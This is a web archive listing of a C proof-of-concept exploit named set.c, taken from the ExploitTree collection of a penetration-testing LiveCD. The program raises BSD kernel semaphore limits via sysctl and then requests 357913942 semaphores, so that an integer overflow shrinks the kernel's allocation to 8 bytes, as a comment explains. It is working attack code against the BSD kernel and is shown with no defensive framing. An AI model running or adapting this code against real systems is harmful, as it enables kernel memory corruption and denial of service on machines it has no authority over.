home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / set.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  78 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/types.h>
  4. #include <sys/ipc.h>
  5. #include <sys/sem.h>
  6. #include <sys/param.h>
  7. #include <sys/sysctl.h>
  8.  
  9. int main(void){
  10. int sem, nsems, ret;
  11. int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
  12. size_t old_size;
  13.  
  14. /*
  15. * 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
  16. * long.
  17. */
  18.  
  19. nsems = 357913942;
  20.  
  21. /* set the max semaphores allowed so that nsems is valid */
  22.  
  23. sys_name[0] = CTL_KERN;
  24. sys_name[1] = KERN_SEMINFO;
  25. sys_name[2] = KERN_SEMINFO_SEMMNS;
  26. old_size = sizeof(old_semmns);
  27.  
  28. ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);
  29.  
  30. if(ret < 0){
  31. perror("sysctl(get semmns)");
  32. return 1;
  33. }
  34.  
  35. semmns = old_semmns + nsems;
  36.  
  37. ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
  38. sizeof(semmns));
  39.  
  40. if(ret < 0){
  41. perror("sysctl(semmns)");
  42. return 1;
  43. }
  44.  
  45. sys_name[0] = CTL_KERN;
  46. sys_name[1] = KERN_SEMINFO;
  47. sys_name[2] = KERN_SEMINFO_SEMMSL;
  48. old_size = sizeof(old_semmsl);
  49.  
  50. ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);
  51.  
  52. if(ret < 0){
  53. perror("sysctl(get semmsl)");
  54. return 1;
  55. }
  56.  
  57. semmsl = old_semmsl + nsems;
  58.  
  59. ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
  60. sizeof(semmsl));
  61.  
  62. if(ret < 0){
  63. perror("sysctl(semmsl)");
  64. return 1;
  65. }
  66.  
  67. sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);
  68.  
  69. if(sem < 0){
  70. perror("semget");
  71. return 1;
  72. }
  73.  
  74. printf("Successfully got a semaphore\n");
  75. printf("id = %d\n", sem);
  76.  
  77. return 0;
  78. }